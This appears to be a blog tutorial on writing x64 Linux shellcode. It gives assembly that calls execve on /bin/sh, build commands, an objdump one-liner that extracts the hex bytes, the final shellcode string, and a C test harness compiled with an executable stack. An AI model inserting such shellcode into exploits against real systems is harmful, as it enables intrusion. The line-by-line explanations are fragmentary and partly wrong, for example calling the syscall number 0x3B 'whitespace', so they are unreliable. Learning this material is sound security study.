Introduction
Writing custom shellcode for x64 bit systems is one of the hardest challenges, because it involve lots of low level programming stuff, but it’s really easy when you follow the steps and understand why/how/when.
In addition, each operating system has a different way of compiling to executing the assembly instructions, for the propose of this post, I’ll dive into writing a customized shellcode for Linux operating systems that run x64 bit, feel free to check out other posts for other systems and different techniques.
The x64 is an extension of Intel IA-32 architecture. The main distinguishing feature of this architecture is that it supports the 64-bit general-purpose registers, 64-bit arithmetic, and logic operations on integers and 64-bit virtual addresses, for the 32-bit general-purpose registers are saved, added to their extended versions: rax,
So what’s the ShellCode?
In computer security, shellcoding in its most literal sense means writing code that will return a remote shell or run an external program or task when executed. The meaning of shellcode has evolved, it now represents any byte code that will be inserted into an exploit to accomplish the desired task.
What do we need to develop a simple shellcode that executes “/bin/bash” application when it runs in the memory?
Nasm: Assembler
Creating the ShellCode using Assembly 🙂
nano shellcode.asm
And put the following assembly instructions in shellcode.asm file , don’t worry i am going to explain every single line
section .text global _start _start: xor rdx, rdx push rdx mov rax, 0x68732f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp xor rax, rax mov al, 0x3b syscall
Explaining the code above:
section .text : The text section is used for keeping the actual code. This section must begin with the declaration global _start, which tells the kernel where the program execution begins.
global _start: we’re here defining the main execution point for our application, we’re basically instructing the operating system to execute _start section once the application is loaded.
xor
int execve(const char *filename, char *const argv[], char *const envp[]);
so what we mean by “xor rdx
null
).
push rdx: Push newline character.
mov rax, 0x68732f2f6e69622f: put the hex representation of “/bin”/sh” 0x68732f2f6e69622f into rax register.
push rax: push the line /bin/sh
mov rdi, rsp: Got the address of the string /bin//sh
from rsp
so put it in rdi
Now
push rdx + push rdi + mov rsi, rsp
0x3B: means put a whitespace.
syscall: perform a system call.
Now we have to compile and link our file, so let’s do that.
nasm -f elf64 shellcode.asm . // this will generate shellcode.o file ld -m elf_x86_64 -s -o shellcode shellcode.o . //this will generate our final binary chmod +x shellcode //to make our binary executable ls -l shellcode //just to make sure everything is ok with the compiled file ./shellcode . //executing our binray to test if it's working, if so we'll see something like this
Now our binary is ready, we have to generate the shellcode, this is can be done simply by using objdump -d shellcode.
As we can see in the image above we have extracted the ASM instructions out of our binary file with the hex values, but we still have one step to complete, which’s converting the output of objdump into one liner (hex formatted) shellcode.
objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Final shellcode: \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
Alright, let’s test it by writing a simple C app that will execute the generate shellcode.
nano final.c
char shellcode[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"; int main () { void(*f)() = (void(*)())shellcode; f(); return 0; }
Compiling the file
gcc -m64 -fno-stack-protector -z execstack -o final final.c chmod +x final ./final
And that’s it.
Leave a Reply